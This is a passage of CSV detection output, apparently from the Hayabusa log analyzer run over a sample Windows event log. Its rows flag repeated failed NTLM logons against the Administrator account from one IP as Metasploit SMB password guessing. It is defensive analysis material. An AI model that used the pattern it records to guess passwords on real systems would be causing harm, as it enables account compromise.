Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.216 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: G8NU6WRdrq9DxM6r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.216 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.258 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cvZKIkI2aeBzbwe0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.258 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2EE7AL3nJ7qsnk4Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.300 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.331 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: feu34D0VvoMrnWzo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.331 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.369 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mrNRIpCpmAV3npax : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.369 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.401 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zpxgEvvoC0stFdTl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.401 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.445 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XvpDKRAPDS36sqNL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.445 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.496 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4cqJKEIySxiQdCRD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.496 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.535 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Pm1F7QEwBE054ui0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.535 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RvIjhyfdlXiX72Es : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.580 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.622 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dJilW4KgIEeh5VNr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.622 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Ka0FYYdVOj90l0L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.668 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.715 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B9ZjGE8T6RuGx8SZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.715 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.758 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nkti4BGVrpoAQRBL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.758 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.804 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fZy2YJPOg1YZ2bd0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.804 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rUE6E9H9i0l0P7Jp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.848 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.892 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0Pkpt2nmRorQ3x0o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.892 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.937 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hCZNNzSyi4mLLaxZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.937 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.986 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O9ZqF43sDjSirvMK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.986 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.041 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XOw9DjHISDX57XUe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.041 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.083 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rmxFpEQeGsgbXpDy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.083 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.129 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MfIVCOOWQS7TNKQA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.129 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.172 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uweLaLhvznDee1IF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.172 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.221 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oNQcS2BonF12ikiX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.221 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.265 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: D43Flf2keSL3aph6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.265 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.307 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zw7nJXNHZ2QNa3In : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.307 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.352 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UZp4567BIWAwxF9r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.352 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.397 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S9iVvPuykq62pV9z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.397 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.431 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eRVomETC34InuKPk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.431 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.473 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VpHfjKgAxChSYz8R : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.473 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.520 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tIbTy5IDRy90lbUR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.520 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.565 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mM6Olq0zYkMlwmrb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.565 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.610 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mUehtGEh0EqRHiLP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.610 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EhZ2KHmCTonGrXSS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.657 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NZea5qiet7vrT3iv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.696 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.741 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aNWY8kuJMSy8h0Zk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.741 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.781 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bt9DUQ0mwhkJlTt8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.781 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.828 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zXYtsM2MMuNSYtVr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.828 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.880 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WgzvsdMN2SU7Knlh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.880 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.971 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DxiBYXNCY32yNb6L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.971 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cVfJmOxvsp75g3a0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.000 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.048 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uHp1hlHjD8w3WKt3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.048 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.093 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dEeJWAJgOeueYSM9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.093 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.136 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tOfPGoUXu932L80d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.136 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.181 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NbH4R6GK1PIVT3ij : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.181 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PgsJokRd07Nh1lO1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.220 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.273 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 11ylyxQyV5HCJ18g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.273 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 